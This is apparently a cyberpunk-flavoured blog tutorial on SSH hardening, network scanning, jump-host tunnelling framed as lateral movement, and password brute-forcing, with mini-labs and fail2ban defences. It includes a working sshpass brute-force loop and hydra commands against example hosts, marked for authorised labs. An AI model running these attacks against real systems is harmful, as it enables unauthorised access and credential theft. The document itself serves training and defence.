Neon light slices through the rain-slick streets outside, illuminating skyscrapers etched with rows of blinking servers. Inside the flicker of monitors and the hiss of cooling fans feels like circuitry over flesh, every cable a vein, every switch a nerve. I’m deep inside the machine now, the data pulses like adrenaline through the network, and SSH is the spine of the operation, it’s the confidant, the gatekeeper, the battle‐scarred conduit I both revere and fear.
There is the smell of solder, cold steel racks humming, and the static charge whenever I breach a firewall or routable subnet. I can taste packets, the clatter of authentication protocols, the gleam of public‐private keys. I move like an echo, shifting from host to host, through tunnels, hopping like lightning. And when brute force storms the door, patience and precise brutality are the only tools. Welcome to the edge of control, the shadows where SSH binds the nodes and I bend them to my will.
Administering SSH
Step-by-Step: Hardening and Configuration
- Install & Update OpenSSH
On *nix systems:
bash
sudo apt update && sudo apt install openssh-server
sudo systemctl enable ssh && sudo systemctl start ssh
- Change default port (not security by obscurity but reduces noise)
In/etc/ssh/sshd_config, modify:
Port 2222
Then restart SSH:
bash
sudo systemctl restart ssh
- Disable root login
PermitRootLogin no
- Use key-based authentication only
text
PasswordAuthentication no
PubkeyAuthentication yes
Deploy authorised keys via ~/.ssh/authorized_keys, set permissions: chmod 700 ~/.ssh, chmod 600 authorized_keys.
-
Restrict user logins and configure forced commands
UseAllowUsers alice boborAllowGroups sshusers. UseForceCommandinauthorized_keysfor constrained shell or use jail. -
Configure idle time-outs, rate limits, and logging
-ClientAliveInterval 300
-ClientAliveCountMax 0
- UseMaxAuthTries 3
- Log toauth.logorjournalctl, perhaps forward logs to central syslog. -
Use strong cryptographic algorithms only
Insshd_config:
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
KexAlgorithms curve25519-sha256
MACs hmac-sha2-512-etm@openssh.com
- Enable two-factor authentication (2FA)
Installlibpam-google-authenticatoror similar, configure PAM.
Admin Checklist
- Change port away from 22
- Disable root login
- Enforce key-based auth only
- Permit only required users or groups
- Set idle session timeout
- Limit failed attempts (
MaxAuthTries) - Strong ciphers/kex/MACs
- Enable 2‐factor if needed
- Regularly rotate keys
- Audit logs
Mini-lab
- Set up two virtual machines: one as SSH server, another as client.
- Configure the server with a custom port, disable password auth, and restrict to one user.
- Configure key pairs (RSA or better yet ed25519), try login.
- Attempt password login (should fail).
- Test inactivity time-out kicks you out after stipulated period.
Scanning SSH
I’m crawling through the dark, probing doors. Scanning reveals patterns, a drumbeat of open ports, banners whispering software versions. Know where the weak points are before the attackers do.
How-to: Scanning for SSH Hosts & Versions
- Discover live hosts
bash
nmap -sP 192.168.1.0/24
- Scan for SSH port (usually 22 or custom)
bash
nmap -p 22,2222 -sV -O 192.168.1.0/24
-sV grabs version info; -O tries OS detection.
- Banner grabbing
bash
nc -vv target_hostname_or_ip 22
or use ssh -v user@host to see the server version string.
- Mass scanning
Use Masscan:
bash
sudo masscan 10.0.0.0/8 -p22 -oX ssh_hosts.xml
Then feed results into nmap for deeper inspection.
- Check for weak or deprecated protocols
Runssh-audittool or usenmap --script ssh2-enum-algosto enumerate weak ciphers, key exchange, MACs.
Edge Case Notes
- Some servers may disable version banners or send truncated banners.
- Hosts behind load-balancers may reveal differing versions.
- Custom ports, port knocking or firewall rules may hide services.
- Honeypots will try to mimic SSH responses; look for oddities (banner discrepancies, clock skew, unusual cipher sets).
Scanning Workflow
| Phase | Tool | Goal |
|---|---|---|
| Discovery | nmap/Masscan | find IPs with SSH open |
| Versioning | nmap, ssh-audit | get software version & algorithms |
| Enumeration | custom banner grabs | test for unusual or deprecated crypto |
| False positives / noise reduction | retries, cross-checking | ensure hosts are live and SSH is genuine |
Mini-lab
- Use three VMs: one running OpenSSH 8.9, another running older 7.x with weak ciphers, a third behind a basic firewall.
- Use nmap and ssh-audit to enumerate versions and cipher suites.
- Try scanning across subnets including non-standard ports, identify hosts with SSH.
- Record banners and spot anomalies.
SSH Hopping & Tunnelling (Lateral Movement)
I slip through the corridors of trust, from one compromised node to the next. SSH is worming through the network, a stegosaurus in the system, using tunnels and agent forwarding.
How-to: SSH Hopping, Agent Forwarding, and Tunnels
- Agent forwarding
On client:
bash
ssh -A user@jumpbox
From jumpbox:
bash
ssh target_internal_host
The private key stays on local machine. Note: dangerous if jumpbox is compromised.
- Jump hosts (ProxyJump)
In~/.ssh/configon client:
Host internal-*
ProxyJump jumpuser@jump.host.com
Use ssh internal-host and traffic is proxied through jump.host.com.
- SSH Tunnelling / Port Forwarding
- Local port forward:
bash
ssh -L 8080:internal.server:80 user@jumpbox
- Remote port forward:
bash
ssh -R 9090:localhost:3000 user@public.server
- Dynamic port forwarding (SOCKS proxy)
bash
ssh -D 1080 user@jumpbox
Configure browser or tool to use localhost:1080 as SOCKS proxy to reach internal hosts.
-
Chaining hops manually
SSH from A → B → C. Use control sockets or ProxyCommand to avoid multiple password prompts and avoid leaving credentials on hosts. -
Port knocking / Single-Packet Authorization (SPA)
Protect SSH port behind knocking sequences. Use tools likefwknopfor SPA.
Security Concerns & Edge Cases
- Agent forwarding risk if intermediate host is malicious or compromised.
- ProxyJump misconfigurations may expose private key usage or allow privilege escalation.
- Port forwarding may bypass firewall policy unwittingly.
- Knocked ports might leave logs or be susceptible to replay or brute force of knock sequence.
Mini-lab Workflow
- Setup three machines: public jumpbox, internal host accessible only from jumpbox, local machine.
- Configure ProxyJump in
.ssh/config. Use agent forwarding to hop without copying private keys. - Set up local port forwarding to access a web service on the internal host via the jumpbox.
- Try remote port forwarding. Observe firewall or RBAC restrictions.
Takeaways
- ProxyJump and agent forwarding are powerful but risky.
- Tunnels can bypass network segmentation; always monitor.
- Understand how credentials flow.
- Audit usage of jump hosts, restrict to trusted users.
Brute Forcing SSH
The clash in the neon zones: endless password guesses, rate limits, lockouts. The attacker storms the wall. You must know both sides, the brute force and the defence.
How-to: Simulated Brute Force and Defence
Warning: The following snippet is offensive behaviour if used without permission. Must only be executed within authorised, isolated test networks or capture-the-flag labs.
bash
#!/bin/bash
# ssh brute force prototype (authorised use only)
TARGET=192.168.1.50
USER=admin
WORDLIST=/path/to/wordlist.txt
for PASS in $(cat $WORDLIST); do
sshpass -p "$PASS" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no $USER@$TARGET 'echo success' && {
echo "Password found: $PASS"
break
}
done
- Prepare wordlists , rockyou, custom rules (e.g pop culture, regexps).
- Use specialised tools ,
hydra,medusa,patator. These leverage parallelism.
bash
hydra -l admin -P /path/to/wordlist.txt 192.168.1.50 ssh
- Respect rate limits and lockouts , many SSH servers configured with
MaxAuthTries,LoginGraceTime,PermitRootLogin no. -
Monitor logs ,
/var/log/auth.log,journalctlfor Debian-based; identify repeated failed attempts. Use logwatch or fail2ban. -
Defensive scripts , configure
fail2banorsshguardto watch patterns; temporarily block via firewall. -
Use captchas or multi-factor to add extra barrier.
Defending Workflow
| Defence | Configuration / Tool |
|---|---|
| Rate limiting | MaxAuthTries, LoginGraceTime, PermitRootLogin no |
| Ban repeated offenders | fail2ban with SSH filter |
| MFA/2FA usage | PAM integration or SSH key + TOTP |
| Key rotation | remove old unused keys from authorized_keys |
| Monitoring | set up alerts for authentication failures, unusual source IPs |
Mini-lab
- Stand up an SSH server with weak password authentication enabled.
- Use
hydrato brute-force a user with a small wordlist. - Configure
fail2banto ban offending IPs after three failures. - Switch server to key-only auth and try brute force again. Observe failures (no password vector).
- Set up two-factor auth and test.
Mastering SSH: Administering, Scanning, Hopping and Brute-Forcing
Aim
To guide you through advanced SSH operations with hands-on examples: covering secure administration, scanning targets, hop-based connections, and controlled brute-forcing in a legal context.
Learning outcomes
By the end you will be able to:
- configure SSH securely for administration, including disabling root login and enforcing key-based access
- scan networks and discover SSH services, identifying versions and exposed hosts
- establish SSH jumps or bastions for multi-hop access using ProxyJump / ProxyCommand
- perform legitimate brute-force or dictionary testing on SSH (in lab or approved scope) and defend against such attacks
Prerequisites
- A Linux environment (local machine and one or more remote servers) with OpenSSH installed
- Familiarity with shell commands and editing files (nano, vi etc.)
- Basic networking knowledge (IP addresses, ports)
- Tools such as
nmap,hydra(ormedusa),fail2baninstalled
Step-by-step guide
1. Secure SSH administration
- Open
/etc/ssh/sshd_config. Set:
bash
PermitRootLogin no
PasswordAuthentication no
AllowUsers adminuser1 adminuser2
These restrict root login, force key-based auth and limit allowed users. (sshhandbook.com)
- Limit authentication attempts:
text
MaxAuthTries 3
LoginGraceTime 30
- Enforce idle timeout, disable environment modifications: in
sshd_config:
text
ClientAliveInterval 300
ClientAliveCountMax 0
PermitUserEnvironment no
-
Change default SSH port (optional, obscurity): modify
Port 22to e.g.Port 2222, then restart SSH so firewall can accept. (docs.edisglobal.com) -
Install
fail2ban, configure SSH jail:
bash
sudo apt install fail2ban
In /etc/fail2ban/jail.local:
text
[sshd]
enabled = true
port = 2222
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
bantime = 600
Blocks IPs after repeated failures. (sshhandbook.com)
2. Scanning to discover SSH services
- Use
nmapto scan hosts / networks for open SSH ports:
bash
nmap -sV -p 22,2222 192.168.1.0/24
-sV detects version; specify custom ports. (en.wikipedia.org)
-
Use faster scanners like
ZMapfor large IPv4 ranges: single-port scans identify SSH services quickly. (en.wikipedia.org) -
Capture SSH banner:
bash
nc -v target-host 22
Looks like: SSH-2.0-OpenSSH_8.4p1 Debian-5 etc. Helps identify version and possible vulnerabilities.
- Document and archive version info; compare against known advisories to plan patches.
3. SSH Hopping / Jump Hosts
- Using
ProxyJumpon CLI for a two-hop connection:
bash
ssh -J user@jumphost.internal user@target.internal
- In
~/.ssh/config, define entries:
text
Host jumphost
HostName jumphost.example.com
User jumpuser
Host target
HostName target.internal
User adminuser
ProxyJump jumphost
IdentityFile ~/.ssh/id_ed25519
- For multi-hop: chain
ProxyJump:
text
Host bastion1
HostName bastion1.example.net
User user1
Host bastion2
HostName bastion2.internal
User user2
ProxyJump bastion1
Host target
HostName target.internal.net
User admin
ProxyJump bastion2
Then use ssh target to hop through. (docs.oracle.com)
- Alternative via
ProxyCommandif older SSH or custom setup:
bash
ssh -o "ProxyCommand ssh jumpuser@jumphost.internal nc %h %p"
adminuser@target.internal
Use when you require fine-grained control. (golinuxcloud.com)
4. Controlled brute-forcing for testing / awareness
Use only in lab or explicitly authorised environments.
- Use
hydrato test SSH credential strength:
bash
hydra -l adminuser -P passwords.txt -t 4 target.internal ssh -V
-l single user, -P wordlist, -t parallel tasks, -V verbose output. (en.wikipedia.org)
-
Use strong wordlists (e.g. SecLists) for passwords; enumerate usernames if possible to avoid wasted guesses.
-
Monitor impact: logs in
/var/log/auth.logwill show failed attempts. Use legal and ethical constraints. -
Defending against brute force: combine SSH admin settings (key-based login, low
MaxAuthTries),fail2banwith proper thresholds, firewall restrictions by IP, optionally geofencing. (usavps.com)
Actionable insights
- Always rotate SSH keys periodically and retire keys you no longer use.
- Enforce least privilege: only give sudo where needed, avoid daily login as root.
- Use centralised auditing of SSH access and jump host activity.
- Regularly scan your network for exposed SSH services running out-of-date versions.
- Simulate brute-force attacks in a safe environment to test your defence settings, adjusting
fail2banthresholds and firewall rules.
Putting these steps into practice will significantly improve your command of SSH from administrative, scanning, hopping and brute-force perspectives.
Remember you’re not just coding scripts, scanning hosts or brute forcing credentials. You are mapping trust, observing weakness, sensing the architecture of control. Through administering SSH you sculpt your border, through scanning SSH you read the topography, through hopping you betray trust lines, through brute forcing you probe bones. The machine hums, flickering LEDs reflect in my eyes. I taste the acrid sting of risk and control, I hear cipher suites renegotiate in the dark, I smell smoke when keys are misused and defences collapse. In this neon storm SSH is both weapon and lock, and I am both prisoner and destroyer.